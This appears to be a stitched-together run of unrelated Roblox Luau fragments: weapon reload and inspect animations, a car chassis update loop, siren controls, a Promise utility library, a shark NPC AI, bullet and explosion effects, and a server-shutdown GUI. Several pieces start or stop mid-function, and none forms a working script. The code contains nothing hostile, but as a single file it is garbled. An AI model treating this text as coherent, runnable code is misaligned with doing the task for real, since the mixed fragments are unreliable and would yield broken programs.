-0.925605714, 0.943481922, -0.331423789, -1.44869938e-08, -0.042034246, -0.119661212, 0.991924584, -0.328747362, -0.935862958, -0.126829356), function(X) return math.sin(math.rad(X)) end, 0.35) TweenJoint(objs[3], nil , CFrame.new(0.405375004, -0.233725294, -1.44567418, 0.761196971, -0.424591213, 0.490205526, -0.620885074, -0.258818865, 0.739942133, -0.187298462, -0.867603123, -0.46063453), function(X) return math.sin(math.rad(X)) end, 0.55) wait(0.50) local MagC = Tool:WaitForChild("Mag"):clone() MagC:FindFirstChild("Mag"):Destroy() MagC.Parent = Tool MagC.Name = "MagC" local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[4].CFrame) objs[4].Transparency = 1 objs[6]:WaitForChild("MagOut"):Play() TweenJoint(objs[2], nil , CFrame.new(-0.630900264, 0.317047596, -0.925605714, 0.943481922, -0.331423789, -1.44869938e-08, -0.028292872, -0.0805428922, 0.996349573, -0.330213875, -0.940037787, -0.0853677094), function(X) return math.sin(math.rad(X)) end, 0.3) TweenJoint(objs[3], nil , CFrame.new(-0.156925201, 0.237828791, -2.37349248, 0.761196971, -0.424591213, 0.490205526, -0.441838264, 0.213773638, 0.871251822, -0.47471875, -0.879785895, -0.0248768628), function(X) return math.sin(math.rad(X)) end, 0.34) wait(0.30) objs[6]:WaitForChild("MagFall"):Play() wait(0.30) objs[6]:WaitForChild("MagIn"):Play() TweenJoint(objs[2], nil , CFrame.new(-0.630900264, 0.317047596, -0.925605714, 0.943481922, -0.331423789, -1.44869938e-08, -0.042034246, -0.119661212, 0.991924584, -0.328747362, -0.935862958, -0.126829356), function(X) return math.sin(math.rad(X)) end, 0.35) TweenJoint(objs[3], nil , CFrame.new(0.405375004, -0.233725294, -1.44567418, 0.761196971, -0.424591213, 0.490205526, -0.620885074, -0.258818865, 0.739942133, -0.187298462, -0.867603123, -0.46063453), function(X) return math.sin(math.rad(X)) end, 0.4) wait(0.5) objs[4].Transparency = 0 MagC:Destroy() end; -- Bolt Anim BoltBackAnim = function(char, speed, objs) TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.518400908, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.1) TweenJoint(objs[2], nil , CFrame.new(-0.333807141, -0.492658436, -1.55705214, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.1) objs[5]:WaitForChild("BoltBack"):Play() TweenJoint(objs[2], nil , CFrame.new(-0.333807141, -0.609481037, -1.02827215, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.510707675, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.25) end; BoltForwardAnim = function(char, speed, objs) objs[5]:WaitForChild("BoltForward"):Play() TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1) TweenJoint(objs[2], nil , CFrame.new(-0.84623456, -0.900531948, -0.749261618, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.1) TweenJoint(objs[3], nil , CFrame.new(-0.403950977, 0.617181182, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.2) wait(0.25) end; -- Bolting Back BoltingBackAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.430707675, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.03) end; BoltingForwardAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1) end; InspectAnim = function(char, speed, objs) ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play() ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play() wait(1) ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play() wait(1) ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play() wait(1) local MagC = Tool:WaitForChild("Mag"):clone() MagC:FindFirstChild("Mag"):Destroy() MagC.Parent = Tool MagC.Name = "MagC" local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(Tool:WaitForChild('Mag').CFrame) Tool.Mag.Transparency = 1 Tool:WaitForChild('Grip'):WaitForChild("MagOut"):Play() ts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.55972552, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play() wait(0.13) ts:Create(objs[2],TweenInfo.new(0.20),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.28149843, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() wait(0.20) ts:Create(objs[1],TweenInfo.new(0.5),{C1 = CFrame.new(0.447846293, -0.650498748, -1.82401526, 0.761665463, -0.514432132, 0.393986136, -0.646156013, -0.55753684, 0.521185875, -0.0484529883, -0.651545882, -0.75706023)}):Play() wait(0.8) ts:Create(objs[1],TweenInfo.new(0.6),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play() wait(0.5) Tool:WaitForChild('Grip'):WaitForChild("MagIn"):Play() ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play() wait(0.3) MagC:Destroy() Tool.Mag.Transparency = 0 wait(0.1) end; AttachAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(-2.05413628, -0.386312962, -0.955676377, 0.5, 0, -0.866025329, 0.852868497, -0.17364797, 0.492403895, -0.150383547, -0.984807789, -0.086823985), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[2], nil , CFrame.new(0.931334019, 1.66565645, -1.2231313, 0.787567914, -0.220087856, 0.575584888, -0.0180282295, 0.925416708, 0.378521889, -0.615963817, -0.308488399, 0.724860728), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; -- Patrol Anim PatrolAnim = function(char, speed, objs) TweenJoint(objs[1], nil , sConfig.PatrolPosR, function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[2], nil , sConfig.PatrolPosL, function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; } return Settings
--- Sets the place name label on the interface
function Cmdr:SetPlaceName(name: string) self.PlaceName = name Interface.Window:UpdateLabel() end
--[[ Check out games that I'm working on: https://www.roblox.com/games/141084271/Rise-Of-The-Deads https://www.roblox.com/games/1158675493/Warritory https://www.roblox.com/games/54092940/Universe-Millennium https://www.roblox.com/games/50207032/Stranded-Alpha https://www.roblox.com/games/126569277/The-Games-Lobby ]]
--
--[[Run]]
--Print Version local ver=require(car["A-Chassis Tune"].README) print("//INSPARE: AC6 Loaded - Build "..ver) --Runtime Loops -- ~60 c/s game["Run Service"].Stepped:connect(function() --Steering Steering() --RPM RPM() --Update External Values _IsOn = car.DriveSeat.IsOn.Value _InControls = script.Parent.ControlsOpen.Value script.Parent.Values.Gear.Value = _CGear script.Parent.Values.RPM.Value = _RPM script.Parent.Values.Horsepower.Value = _HP script.Parent.Values.Torque.Value = _HP * _Tune.EqPoint / _RPM script.Parent.Values.TransmissionMode.Value = _TMode script.Parent.Values.Throttle.Value = _GThrot script.Parent.Values.Brake.Value = _GBrake script.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100))) script.Parent.Values.SteerT.Value = _GSteerT script.Parent.Values.PBrake.Value = _PBrake script.Parent.Values.TCS.Value = _TCS script.Parent.Values.TCSActive.Value = _TCSActive script.Parent.Values.ABS.Value = _ABS script.Parent.Values.ABSActive.Value = _ABSActive script.Parent.Values.MouseSteerOn.Value = _MSteer script.Parent.Values.Velocity.Value = car.DriveSeat.Velocity if car.DriveSeat.ABS.Value == true and car.DriveSeat.AS.Value == false then if car.DriveSeat.Velocity.Magnitude < 80 then if workspace:FindPartOnRay(Ray.new(snsrs.FS.RayEnd.CFrame.p,(snsrs.FS.RayEnd.CFrame.p-snsrs.FS.RayStart.CFrame.p).unit * ((car.DriveSeat.Velocity.Magnitude^1.05)*(10/12) * (60/88)))) and (_CGear > 1) then local p = workspace:FindPartOnRay(Ray.new(snsrs.FS.RayEnd.CFrame.p,(snsrs.FS.RayEnd.CFrame.p-snsrs.FS.RayStart.CFrame.p).unit * ((car.DriveSeat.Velocity.Magnitude^1.1)*(10/12) * (60/88)))) local aa = math.abs(p.Velocity.Magnitude - car.DriveSeat.Velocity.Magnitude) if aa > 35 and (p.CanCollide == false or p.CanCollide == true or p.Parent.Name == "Body" or p.Parent.Parent.Name == "Body" or p.Parent.Name == "Wheels") and (p.Name ~= "Baseplate") and (p.Anchored == false) then if (p.Velocity.Magnitude < 5 or not p.Anchored) then car.DriveSeat.AS.Value = true _GBrake = 5 repeat wait() until car.DriveSeat.Velocity.Magnitude < 2 car.DriveSeat.AS.Value = false end end end end end local mph = (10/12) * (60/88) if script.Parent.CC.Value == true then if (car.DriveSeat.Velocity.Magnitude*mph) - 2 > script.Parent.CCS.Value+0.5 then _CThrot = 0 _CBrake = 0.5 --repeat wait() until (car.DriveSeat.Velocity.Magnitude*mph) - 4 < script.Parent.CCS.Value --_CBrake = 0 else _CThrot = 1 _CBrake = 0 end else _CThrot = 0 end if _GBrake > 0 then script.Parent.CC.Value = false end if car.DriveSeat.IsOn.Value == true and car.A.ACC.Value == true then _CGear = 1 end end) --script.Parent.CC.Changed:connect(function() -- if script.Parent.CC.Value == true then -- script.Parent.CCS.Value = math.floor(car.DriveSeat.Velocity.Magnitude*((10/12) * (60/88))) --end --end) script.Parent.Values.Brake.Changed:connect(function() if math.ceil(_GBrake) > 0 then car.DriveSeat.FE_Lights:FireServer('updateLights', 'brake', true) else car.DriveSeat.FE_Lights:FireServer('updateLights', 'brake', false) end end) script.Parent.Values.Throttle.Changed:Connect(function() if math.ceil(_GThrot) > 0 then if car.DriveSeat.AS.Value == true then car.DriveSeat.AS.Value = false _GBrake = 0 end end end) -- ~15 c/s while wait(.0667) do --Power Engine() --Flip if _Tune.AutoFlip then Flip() end end
--WeldRec(P.Parent.Lights)
local model = script.Parent for _,v in pairs(model:GetChildren()) do v.Parent = model.Parent end model:Destroy() script:Destroy()
-------------------------
function onClicked() R.Function1.Disabled = true R.loop.Disabled = false R.Function2.Disabled = false end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--// # key, ManOff
mouse.KeyUp:connect(function(key) if key=="f" then veh.Lightbar.middle.Man:Stop() veh.Lightbar.middle.Wail.Volume = 10 veh.Lightbar.middle.Yelp.Volume = 10 veh.Lightbar.middle.Priority.Volume = 10 script.Parent.Parent.Sirens.Man.BackgroundColor3 = Color3.fromRGB(62, 62, 62) veh.Lightbar.MAN.Transparency = 1 end end)
--[[ Returns a new promise that: * is resolved when all input promises resolve * is rejected if ANY input promises reject ]]
function Promise._all(traceback, promises, amount) if type(promises) ~= "table" then error(string.format(ERROR_NON_LIST, "Promise.all"), 3) end -- We need to check that each value is a promise here so that we can produce -- a proper error rather than a rejected promise with our error. for i, promise in pairs(promises) do if not Promise.is(promise) then error(string.format(ERROR_NON_PROMISE_IN_LIST, "Promise.all", tostring(i)), 3) end end -- If there are no values then return an already resolved promise. if #promises == 0 or amount == 0 then return Promise.resolve({}) end return Promise._new(traceback, function(resolve, reject, onCancel) -- An array to contain our resolved values from the given promises. local resolvedValues = {} local newPromises = {} -- Keep a count of resolved promises because just checking the resolved -- values length wouldn't account for promises that resolve with nil. local resolvedCount = 0 local rejectedCount = 0 local done = false local function cancel() for _, promise in ipairs(newPromises) do promise:cancel() end end -- Called when a single value is resolved and resolves if all are done. local function resolveOne(i, ...) if done then return end resolvedCount = resolvedCount + 1 if amount == nil then resolvedValues[i] = ... else resolvedValues[resolvedCount] = ... end if resolvedCount >= (amount or #promises) then done = true resolve(resolvedValues) cancel() end end onCancel(cancel) -- We can assume the values inside `promises` are all promises since we -- checked above. for i, promise in ipairs(promises) do newPromises[i] = promise:andThen( function(...) resolveOne(i, ...) end, function(...) rejectedCount = rejectedCount + 1 if amount == nil or #promises - rejectedCount < amount then cancel() done = true reject(...) end end ) end if done then cancel() end end) end function Promise.all(promises) return Promise._all(debug.traceback(nil, 2), promises) end Promise.All = Promise.all function Promise.some(promises, amount) assert(type(amount) == "number", "Bad argument #2 to Promise.some: must be a number") return Promise._all(debug.traceback(nil, 2), promises, amount) end Promise.Some = Promise.some function Promise.any(promises) return Promise._all(debug.traceback(nil, 2), promises, 1):andThen(function(values) return values[1] end) end Promise.Any = Promise.any function Promise.allSettled(promises) if type(promises) ~= "table" then error(string.format(ERROR_NON_LIST, "Promise.allSettled"), 2) end -- We need to check that each value is a promise here so that we can produce -- a proper error rather than a rejected promise with our error. for i, promise in pairs(promises) do if not Promise.is(promise) then error(string.format(ERROR_NON_PROMISE_IN_LIST, "Promise.allSettled", tostring(i)), 2) end end -- If there are no values then return an already resolved promise. if #promises == 0 then return Promise.resolve({}) end return Promise._new(debug.traceback(nil, 2), function(resolve, _, onCancel) -- An array to contain our resolved values from the given promises. local fates = {} local newPromises = {} -- Keep a count of resolved promises because just checking the resolved -- values length wouldn't account for promises that resolve with nil. local finishedCount = 0 -- Called when a single value is resolved and resolves if all are done. local function resolveOne(i, ...) finishedCount = finishedCount + 1 fates[i] = ... if finishedCount >= #promises then resolve(fates) end end onCancel(function() for _, promise in ipairs(newPromises) do promise:cancel() end end) -- We can assume the values inside `promises` are all promises since we -- checked above. for i, promise in ipairs(promises) do newPromises[i] = promise:finally( function(...) resolveOne(i, ...) end ) end end) end Promise.AllSettled = Promise.allSettled
-- plugin options ------------------ (MANUAL ONLY)
-- Dark was here.
local nearplayer local Players = game:GetService("Players") function MakeAMove() nearplayer = false if (tick()-holdOrder < holdDuration) then return end if stance == "wander" then for _,Player in next, Players:GetPlayers() do if Player.Character and Player.Character.PrimaryPart then local dis = (Player.Character.PrimaryPart.CFrame.Position - root.CFrame.Position).Magnitude if dis >= 500 then nearplayer = true break end end end if nearplayer then task.wait(math.random(1, 1 + 1/2)) return end local collisionRay = Ray.new( (root.CFrame*CFrame.new(0,100,-15)).p , Vector3.new(0,-1000,0) ) local part,pos,norm,mat = workspace:FindPartOnRayWithIgnoreList(collisionRay,shark:GetDescendants()) --local asdf = Instance.new("Part") --asdf.Anchored = true --asdf.Size = Vector3.new(2,2,2) --asdf.CFrame = CFrame.new(pos) --asdf.Parent = workspace if part then if part == workspace.Terrain and mat ~= Enum.Material.Water then -- redirect destination =( (root.CFrame*CFrame.Angles(0,math.rad(math.random(90,270)),0))*CFrame.new(0,0,-40)).p holdOrder = tick() elseif part == workspace.Terrain and mat == Enum.Material.Water then if (tick()-lastAdjustment) > nextAdjustment then lastAdjustment = tick() nextAdjustment = math.random(10,30) destination =( (root.CFrame*CFrame.Angles(0,math.rad(math.random(0,359)),0))*CFrame.new(0,0,-40)).p holdDuration = 2 holdOrder = tick() else destination = (root.CFrame*CFrame.new(0,0,-25)).p end end elseif part and part~= workspace.Terrain then destination = (root.CFrame*CFrame.new(0,0,-25)).p elseif not part then destination = ((root.CFrame*CFrame.Angles(0,math.rad(180),0))*CFrame.new(0,0,-40)).p holdDuration = 4 holdOrder = tick() end bodyPos.Position = Vector3.new(destination.X,-6,destination.Z) bodyGyro.CFrame = CFrame.new(CFrame.new(root.CFrame.p.X,-6,root.CFrame.p.Z).p,CFrame.new(destination.X,-6,destination.Z).p) elseif stance == "attack" then bodyPos.Position = destination bodyGyro.CFrame = CFrame.new(root.Position,Vector3.new(destination.X,root.Position.Y,destination.Z)) if (shark.PrimaryPart.Position-target.PrimaryPart.Position).magnitude < 10 then -- lunge and hold if target.Humanoid.SeatPart then game.ReplicatedStorage.Events.NPCAttack:Fire(target.Humanoid.SeatPart.Parent,math.random(5,15)) else game.ReplicatedStorage.Events.NPCAttack:Fire(game.Players:GetPlayerFromCharacter(target),25) end shark.Head.SharkEat:Play() local emitter = game.ReplicatedStorage.Particles.Teeth:Clone() emitter.Parent = shark.Head emitter.EmissionDirection = Enum.NormalId.Top wait() emitter:Emit(1) holdOrder = tick() holdDuration = 2 end end end -- end of MakeAMove() MakeAMove() local scanSurroundings = coroutine.wrap(function() while true do stance = "wander" local surroundingParts = workspace:FindPartsInRegion3WithIgnoreList(Region3.new( shark.PrimaryPart.Position+Vector3.new(-60,-3,-60), shark.PrimaryPart.Position+Vector3.new(60,10,60)), shark:GetChildren()) for _,v in next,surroundingParts do if v.Parent:FindFirstChild("Humanoid") and v.Parent.Humanoid.Health > 0 then -- we have a player in the radius local playerRay = Ray.new(v.Position+Vector3.new(0,10,0),Vector3.new(0,-50,0)) local part,pos,norm,mat = workspace:FindPartOnRay(playerRay,v.Parent) if part == workspace.Terrain and mat ~= Enum.Material.Water then -- don't set to attack else stance = "attack" target = v.Parent -- destination = v.Parent.PrimaryPart.Position destination = (CFrame.new(root.CFrame.p,Vector3.new(v.Parent.PrimaryPart.CFrame.p.x, -9,v.Parent.PrimaryPart.CFrame.p.z))*CFrame.new(0,0,-50)).p break -- change y height of shark end end end if stance == "wander" then scanInterval = 1 target = nil MakeAMove() elseif stance == "attack" then scanInterval = .1 MakeAMove() end wait(scanInterval) end -- end of wtd end) scanSurroundings()
-- Gradually regenerates the Humanoid's Health over time. FOTPS
local REGEN_RATE = 1/20 -- Regenerate this fraction of MaxHealth per second. local REGEN_STEP = 1 -- Wait this long between each regeneration step.
--[[ game.ReplicatedStorage:WaitForChild("InflictTarget"):InvokeServer(Tool, Tagger, TargetHumanoid, TargetTorso, (HitPart.Name == "Head" and DamageData[3]) and DamageData[1] * DamageData[2] or DamageData[1], {Misc[1],Misc[2],Misc[3],Misc[4],Misc[5],Misc[6],Misc[7],Misc[8]}, {Critical[1],Critical[2],Critical[3]}, HitPart, {GoreData[1], GoreData[2], GoreData[3], GoreData[4], GoreData[5]}) Tool.GunScript_Local:FindFirstChild("MarkerEvent"):Fire(HitPart.Name == "Head" and DamageData[3]) --]]
end else MakeImpactFX(HitPart, HitPoint, Normal, HitEffectData, BulletHoleData) end end else if ExplosiveData[3] then local Sound = Instance.new("Sound") Sound.SoundId = "rbxassetid://"..ExplosiveData[4][math.random(1,#ExplosiveData[4])] Sound.PlaybackSpeed = Random.new():NextNumber(ExplosiveData[5], ExplosiveData[6]) Sound.Volume = ExplosiveData[7] Sound.Parent = CosmeticBulletObject Sound:Play() end local Explosion = Instance.new("Explosion") Explosion.BlastRadius = ExplosiveData[2] Explosion.BlastPressure = 0 Explosion.Position = HitPoint Explosion.Parent = workspace.CurrentCamera if ExplosiveData[8] then Explosion.Visible = false local surfaceCF = CFrame.new(HitPoint, HitPoint + Normal) local Attachment = Instance.new("Attachment") Attachment.CFrame = surfaceCF Attachment.Parent = workspace.Terrain local function spawner4() local C = ExplosiveData[9]:GetChildren() for i=1,#C do if C[i].className == "ParticleEmitter" then local count = 1 local Particle = C[i]:Clone() Particle.Parent = Attachment if Particle:FindFirstChild("EmitCount") then count = Particle.EmitCount.Value end delay(0.01,function() Particle:Emit(count) game.Debris:AddItem(Particle,Particle.Lifetime.Max) end) end end end spawn(spawner4) game.Debris:AddItem(Attachment,10) end Explosion.Hit:connect(function(HitPart) if HitPart and HitPart.Parent and HitPart.Name == "HumanoidRootPart" or HitPart.Name == "Head" then local TargetHumanoid = findFirstByClass(HitPart.Parent,"Humanoid") local TargetTorso = HitPart.Parent:FindFirstChild("HumanoidRootPart") or HitPart.Parent:FindFirstChild("Head") local Tagger = game.Players:GetPlayerFromCharacter(Tool.Parent) if TargetHumanoid then if TargetHumanoid.Health > 0 then game.ReplicatedStorage:WaitForChild("InflictTarget"):InvokeServer(Tool, Tagger, TargetHumanoid, TargetTorso, (HitPart.Name == "Head" and DamageData[3]) and DamageData[1] * DamageData[2] or DamageData[1], {Misc[1],Misc[2],Misc[3],Misc[4],Misc[5],Misc[6],Misc[7],Misc[8]}, {Critical[1],Critical[2],Critical[3]}, HitPart, {GoreData[1], GoreData[2], GoreData[3], GoreData[4], GoreData[5]}) Tool.GunScript_Local:FindFirstChild("MarkerEvent"):Fire(HitPart.Name == "Head" and DamageData[3]) end end end end) end end function VisualizeBullet(Tool,Handle,Direction,FirePointObject,HitEffectData,BloodEffectData,BulletHoleData,ExplosiveData,BulletData,DamageData,BulletLightData,Misc,Critical,GoreData) if Handle then Caster.Gravity = BulletData[9] Caster.ExtraForce = Vector3.new(BulletData[10].X, BulletData[10].Y, BulletData[10].Z) --UPDATE V6: Proper bullet velocity! --Requested by https://www.roblox.com/users/898618/profile/ --We need to make sure the bullet inherits the velocity of the gun as it fires, just like in real life. local HumanoidRootPart = Tool.Parent:WaitForChild("HumanoidRootPart", 1) --Add a timeout to this. local MyMovementSpeed = HumanoidRootPart.Velocity --To do: It may be better to get this value on the clientside since the server will see this value differently due to ping and such. local ModifiedBulletSpeed = (Direction * BulletData[8]) + MyMovementSpeed --We multiply our direction unit by the bullet speed. This creates a Vector3 version of the bullet's velocity at the given speed. We then add MyMovementSpeed to add our body's motion to the velocity. --Make a base cosmetic bullet object. This will be cloned every time we fire off a ray local CosmeticBullet = Instance.new("Part") CosmeticBullet.Name = "Bullet" CosmeticBullet.Material = BulletData[14] CosmeticBullet.Color = BulletData[12] CosmeticBullet.CanCollide = false CosmeticBullet.Anchored = true CosmeticBullet.Size = Vector3.new(BulletData[11].X, BulletData[11].Y, BulletData[11].Z) CosmeticBullet.Transparency = BulletData[13] CosmeticBullet.Shape = BulletData[15] if BulletData[16] then local BulletMesh = Instance.new("SpecialMesh") BulletMesh.Scale = Vector3.new(BulletData[19].X, BulletData[19].Y, BulletData[19].Z) BulletMesh.MeshId = "rbxassetid://"..BulletData[17] BulletMesh.TextureId = "rbxassetid://"..BulletData[18] BulletMesh.MeshType = "FileMesh" BulletMesh.Parent = CosmeticBullet end --Prepare a new cosmetic bullet local Bullet = CosmeticBullet:Clone() Bullet.CFrame = CFrame.new(FirePointObject.WorldPosition, FirePointObject.WorldPosition + Direction) Bullet.Parent = workspace.CurrentCamera if BulletLightData[1] then local Light = Instance.new("PointLight") Light.Brightness = BulletLightData[2] Light.Color = BulletLightData[3] Light.Enabled = true Light.Range = BulletLightData[4] Light.Shadows = BulletLightData[5] Light.Parent = Bullet end if BulletData[1] then local A0 = Instance.new("Attachment", Bullet) A0.Position = Vector3.new(BulletData[2].X, BulletData[2].Y, BulletData[2].Z) A0.Name = "Attachment0" local A1 = Instance.new("Attachment", Bullet) A1.Position = Vector3.new(BulletData[3].X, BulletData[3].Y, BulletData[3].Z) A1.Name = "Attachment1" local C = BulletData[4]:GetChildren() for i=1,#C do if C[i].className == "Trail" then local count = 1 local Tracer = C[i]:Clone() Tracer.Attachment0 = A0 Tracer.Attachment1 = A1 Tracer.Parent = Bullet end end end if BulletData[5] then local C = BulletData[6]:GetChildren() for i=1,#C do if C[i].className == "ParticleEmitter" then local Particle = C[i]:Clone() Particle.Parent = Bullet Particle.Enabled = true end end end Caster:FireWithBlacklist(FirePointObject.WorldPosition, Direction * BulletData[7], ModifiedBulletSpeed, {Handle, Tool.Parent, workspace.CurrentCamera}, Bullet) function OnRayHit_Sub(HitPart, HitPoint, Normal, Material, CosmeticBulletObject) OnRayHit_Sub2(HitPart, HitPoint, Normal, Material, CosmeticBulletObject, Tool, {ExplosiveData[1], ExplosiveData[2], ExplosiveData[3], ExplosiveData[4], ExplosiveData[5], ExplosiveData[6], ExplosiveData[7], ExplosiveData[8], ExplosiveData[9]}, {DamageData[1], DamageData[2], DamageData[3]}, {HitEffectData[1], HitEffectData[2], HitEffectData[3], HitEffectData[4], HitEffectData[5], HitEffectData[6], HitEffectData[7]}, {BulletHoleData[1], BulletHoleData[2], BulletHoleData[3], BulletHoleData[4], BulletHoleData[5], BulletHoleData[6]}, {BloodEffectData[1], BloodEffectData[2], BloodEffectData[3], BloodEffectData[4], BloodEffectData[5], BloodEffectData[6]}, {Misc[1],Misc[2],Misc[3],Misc[4],Misc[5],Misc[6],Misc[7],Misc[8]}, {Critical[1],Critical[2],Critical[3]}, {GoreData[1], GoreData[2], GoreData[3], GoreData[4], GoreData[5]}) end end end function OnRayHit(HitPart, HitPoint, Normal, Material, CosmeticBulletObject) OnRayHit_Sub(HitPart, HitPoint, Normal, Material, CosmeticBulletObject) end function OnRayUpdated(CastOrigin, SegmentOrigin, SegmentDirection, Length, CosmeticBulletObject) local BulletLength = CosmeticBulletObject.Size.Z / 2 --This is used to move the bullet to the right spot based on a CFrame offset CosmeticBulletObject.CFrame = CFrame.new(SegmentOrigin, SegmentOrigin + SegmentDirection) * CFrame.new(0, 0, -(Length - BulletLength)) end BE.Event:connect(VisualizeBullet) Caster.LengthChanged:Connect(OnRayUpdated) Caster.RayHit:Connect(OnRayHit)
-- me.Parent.CanvasSize = UDim2.new(0,0,0,me.AbsoluteSize.Y)
-- catch new timer times events from server
changeTimerEvent.OnClientEvent:Connect((function(timer) Timer = timer textBox.Text = timer end))
--[[Mobile Support]]
local Buttons = script.Parent:WaitForChild("Buttons") local Left = Buttons:WaitForChild("Left") local Right = Buttons:WaitForChild("Right") local Brake = Buttons:WaitForChild("Brake") local Gas = Buttons:WaitForChild("Gas") local Handbrake = Buttons:WaitForChild("Handbrake") if UserInputService.TouchEnabled then Buttons.Visible = true end local function LeftTurn(Touch, GPE) if Touch.UserInputState == Enum.UserInputState.Begin then _GSteerT = -1 _SteerL = true else if _SteerR then _GSteerT = 1 else _GSteerT = 0 end _SteerL = false end end Left.InputBegan:Connect(LeftTurn) Left.InputEnded:Connect(LeftTurn)
--Creates a display Gui for the soft shutdown.
return function() local ScreenGui = Instance.new("ScreenGui") ScreenGui.Name = "SoftShutdownGui" ScreenGui.DisplayOrder = 100 --Create background to cover behind top bar. local Frame = Instance.new("Frame") Frame.BackgroundColor3 = Color3.fromRGB(45, 202, 245) Frame.Position = UDim2.new(-0.5,0,-0.5,0) Frame.Size = UDim2.new(2,0,2,0) Frame.ZIndex = 10 Frame.Parent = ScreenGui local function CreateTextLabel(Size,Position,Text) local TextLabel = Instance.new("TextLabel") TextLabel.BackgroundTransparency = 1 TextLabel.Size = Size TextLabel.Position = Position TextLabel.Text = Text TextLabel.ZIndex = 10 TextLabel.Font = "SourceSansBold" TextLabel.TextScaled = true TextLabel.TextColor3 = Color3.new(1,1,1) TextLabel.TextStrokeColor3 = Color3.new(0,0,0) TextLabel.TextStrokeTransparency = 0 TextLabel.Parent = Frame end --Create text. CreateTextLabel(UDim2.new(0.5,0,0.1,0),UDim2.new(0.25,0,0.4,0),"ATTENTION") CreateTextLabel(UDim2.new(0.5,0,0.05,0),UDim2.new(0.25,0,0.475,0),"This server is being updated.") CreateTextLabel(UDim2.new(0.5,0,0.03,0),UDim2.new(0.25,0,0.55,0),"Please wait...") --Return the ScreenGui and the background. return ScreenGui,Frame end
-- ROBLOX upstream: https://github.com/facebook/jest/tree/v27.4.7/packages/jest-util/src/ErrorWithStack.ts
--//Client Animations
